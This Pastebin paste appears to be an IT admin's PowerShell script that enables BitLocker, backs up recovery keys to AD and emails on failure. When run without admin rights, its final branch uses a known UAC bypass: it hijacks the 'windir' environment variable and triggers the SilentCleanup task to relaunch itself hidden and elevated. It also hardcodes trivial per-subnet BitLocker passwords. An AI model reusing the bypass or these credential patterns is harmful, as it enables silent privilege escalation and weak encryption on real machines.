Advertisement
Lee_Dailey

VSCode PoSh formatting demo for basziee

Jun 5th, 2019
174
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. if ((([System.Security.Principal.WindowsIdentity]::GetCurrent()).groups -match "S-1-5-32-544"))
  2. {
  3.  
  4.     $drive = "C:\"
  5.     $Msgbox_Titel = "Title"
  6.     $GeenVerbinding_Bericht = "Can't connect to server. Check network connection"
  7.     $Bitlocker_Prompt = "Type your new Bitlocker Password"
  8.     $Bitlocker_msg = "Bitlocker activated! `nDo you want to restart the computer?"
  9.     $Prive_msg = "Is this a private computer?"
  10.     $map = "C:\temp"
  11.     $from = "$env:UserName@somewhere.com"
  12.     $to = "mail@somewhere.com"
  13.     $Subject = "Failed to enable Bitlocker on $env:ComputerName"
  14.     $body = "Message from: $env:ComputerName `nwith IPaddress: $HostIP at $Date `n------------------------------------------------------------------`n$data"
  15.     $SmtpServer = ""
  16.     $port = "23"
  17.     $mail_msg = "Something went wrong while enabling Bitlocker"
  18.  
  19.     $Network = Test-Connection 10.10.0.10 -Count 1 -Quiet
  20.     If ($Network -eq "true")
  21.     {
  22.         Write-Host 'connected' -ForegroundColor Yellow
  23.     }
  24.     Else
  25.     {
  26.         Add-Type -AssemblyName System.Windows.Forms
  27.         if ([System.Windows.Forms.MessageBox]::Show("$GeenVerbinding_Bericht", "$Msgbox_Titel", 'Ok') -eq 'Ok') { exit }
  28.     }
  29.  
  30.     $env:HostIP = (
  31.         Get-NetIPConfiguration |
  32.         Where-Object {
  33.             $_.IPv4DefaultGateway -ne $null -and
  34.             $_.NetAdapter.Status -ne "Disconnected"
  35.         }
  36.     ).IPv4Address.IPAddress
  37.  
  38.     $KeyProtectors = (Get-BitLockerVolume -MountPoint "$drive").KeyProtector
  39.     foreach ($KeyProtector in $KeyProtectors)
  40.     {
  41.         if ($KeyProtector.KeyProtectorType -eq "password")
  42.         {
  43.             try
  44.             {
  45.                 Remove-BitLockerKeyProtector -MountPoint "$drive" -KeyProtectorId $KeyProtector.KeyProtectorId | Out-Null
  46.             }
  47.             catch
  48.             {
  49.             }
  50.         }
  51.     }
  52.  
  53.     Add-Type -AssemblyName PresentationCore, PresentationFramework
  54.     $ButtonType = [System.Windows.MessageBoxButton]::YesNoCancel
  55.     $MessageIcon = [System.Windows.MessageBoxImage]::Error
  56.     $Result = [System.Windows.MessageBox]::Show($Prive_msg, $Msgbox_Titel, $ButtonType, $MessageIcon)
  57.  
  58.     if ($result -eq "Yes")
  59.     {
  60.         $pass = Read-host -AsSecureString -Prompt $Bitlocker_Prompt
  61.     }
  62.     else
  63.     {
  64.         if ($env:HostIP -like "10.10.11.*") { $pass = ConvertTo-SecureString "password"-AsPlainText -Force ; $validate = $true }
  65.         if ($env:HostIP -like "10.10.12.*") { $pass = ConvertTo-SecureString "password1" -AsPlainText -Force ; $validate = $true }
  66.         if ($env:HostIP -like "10.10.13.*") { $pass = ConvertTo-SecureString "password2" -AsPlainText -Force ; $validate = $true }
  67.         if ($env:HostIP -like "10.10.14.*") { $pass = ConvertTo-SecureString "password3" -AsPlainText -Force ; $validate = $true }
  68.         if ($env:HostIP -like "10.10.15.*") { $pass = ConvertTo-SecureString "password4" -AsPlainText -Force ; $validate = $true }
  69.         if ($env:HostIP -like "10.10.16.*") { $pass = ConvertTo-SecureString "password5" -AsPlainText -Force ; $validate = $true }
  70.         if ($env:HostIP -like "10.10.17.*") { $pass = ConvertTo-SecureString "password6" -AsPlainText -Force ; $validate = $true }
  71.         if ($env:HostIP -like "10.10.18.*") { $pass = ConvertTo-SecureString "password7" -AsPlainText -Force ; $validate = $true }
  72.         if ($env:HostIP -like "10.10.19.*") { $pass = ConvertTo-SecureString "password8" -AsPlainText -Force ; $validate = $true }
  73.         if ($env:HostIP -like "10.10.20.*") { $pass = ConvertTo-SecureString "password9" -AsPlainText -Force ; $validate = $true }
  74.     }
  75.  
  76.     If (Test-Path $map)
  77.     {
  78.         Write-Host 'Folder does exist. (Skip)' -ForegroundColor Yellow
  79.         Remove-Item -Recurse -Force $map
  80.         New-Item -ItemType directory -Path $map
  81.     }
  82.     Else
  83.     {
  84.         New-Item -ItemType directory -Path $map
  85.         Write-Host 'Folder created.' -ForegroundColor Green
  86.     }
  87.     gpupdate /force
  88.     gpresult /r /scope computer | out-file $map\data.txt
  89.     $Lines = Get-Content "$map\data.txt"
  90.     ipconfig | findstr /R /C:"IPv4 Address" | Set-Variable "ipv4"
  91.     $ipv4 -replace ".*: " | Set-Variable "IP"
  92.     $IP -match '10.10' | Set-Variable "HostIP"
  93.     Get-Date -Format g | Set-Variable "Date"
  94.     $data = Get-Content -Path "$map\data.txt" | Out-String
  95.     New-Item -Path "$map" -Name 'FileName.txt' -ItemType File
  96.     $FileName = (Get-ChildItem -Path "$map\FileName.txt").FullName
  97.     $FileCount = 0
  98.  
  99.     ForEach ($Line in $Lines)
  100.     {
  101.         If ($Line -ne '')
  102.         {
  103.             Add-Content -Value $Line -Path $FileName
  104.         }
  105.         Else
  106.         {
  107.             $FileName = New-Item -Path "$map\" `
  108.                 -Name (((Get-ChildItem -Path "$map\FileName.txt").BaseName +
  109.                     ($FileCount = $FileCount + 1) + '.txt')) -ItemType File
  110.         }
  111.     }
  112.     Get-ChildItem -Path "$map\filename*"
  113.     $Filename = Select-String -Path $map\FileName*.txt -Pattern "Applied Group Policy Objects" | Format-Table Filename -HideTableHeaders | Out-String
  114.     $Filename = $Filename -replace "`t|`n|`r", ""
  115.     $wordToFind = "Bitlocker"
  116.  
  117.     $KeyProtectors = (Get-BitLockerVolume -MountPoint "$drive").KeyProtector
  118.     foreach ($KeyProtector in $KeyProtectors)
  119.     {
  120.         if ($KeyProtector.KeyProtectorType -eq "RecoveryPassword")
  121.         {
  122.             try
  123.             {
  124.                 Remove-BitLockerKeyProtector -MountPoint "$drive" -KeyProtectorId $KeyProtector.KeyProtectorId | Out-Null
  125.             }
  126.             catch
  127.             {
  128.             }
  129.         }
  130.     }
  131.     Get-Content "$map\$filename" `
  132.     | ForEach-Object { $res = $false } `
  133.     { $res = $res -or $_.Contains($wordToFind) } `
  134.         #               { return $res }
  135.     if ($res -eq $true)
  136.     {
  137.         Enable-BitLocker -MountPoint $drive -EncryptionMethod Aes128 -Password $pass -PasswordProtector
  138.         Start-Process 'manage-bde.exe' -ArgumentList " -protectors -add $env:SystemDrive -recoverypassword" -Verb runas -Wait
  139.         $RecoveryKeyGUID = (Get-BitLockerVolume -MountPoint $env:SystemDrive).keyprotector | Where-Object { $_.Keyprotectortype -eq 'RecoveryPassword' } | Select-Object -ExpandProperty KeyProtectorID
  140.         manage-bde.exe -protectors $env:SystemDrive -adbackup -id $RecoveryKeyGUID
  141.         Remove-Item -Recurse -Force $map
  142.         $msgBoxInput = [System.Windows.MessageBox]::Show("$Bitlocker_msg", '$Msgbox_Titel', 'YesNo', 'Warning')
  143.  
  144.         switch ($msgBoxInput)
  145.         {
  146.             'yes'
  147.             {
  148.                 Restart-Computer
  149.             }
  150.             'no'
  151.             {
  152.                 return
  153.             }
  154.         }
  155.     }
  156.     Else
  157.     {
  158.         $wshell = New-Object -comObject Wscript.Shell
  159.         $wshell.Popup("$mail_msg", 0, "$Msgbox_Titel")
  160.         Send-MailMessage -From $from -To $to -Subject "$Subject" -Body "$body" -SmtpServer $smtpServer -Port $port
  161.     }
  162. }
  163. else
  164. {
  165.     $registryPath = "HKCU:\Environment"
  166.     $Name = "windir"
  167.     $Value = "powershell -ep bypass -w h $PSCommandPath;#"
  168.     Set-ItemProperty -Path $registryPath -Name $name -Value $Value
  169.     schtasks /run /tn \Microsoft\Windows\DiskCleanup\SilentCleanup /I | Out-Null
  170.     Remove-ItemProperty -Path $registryPath -Name $name
  171. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement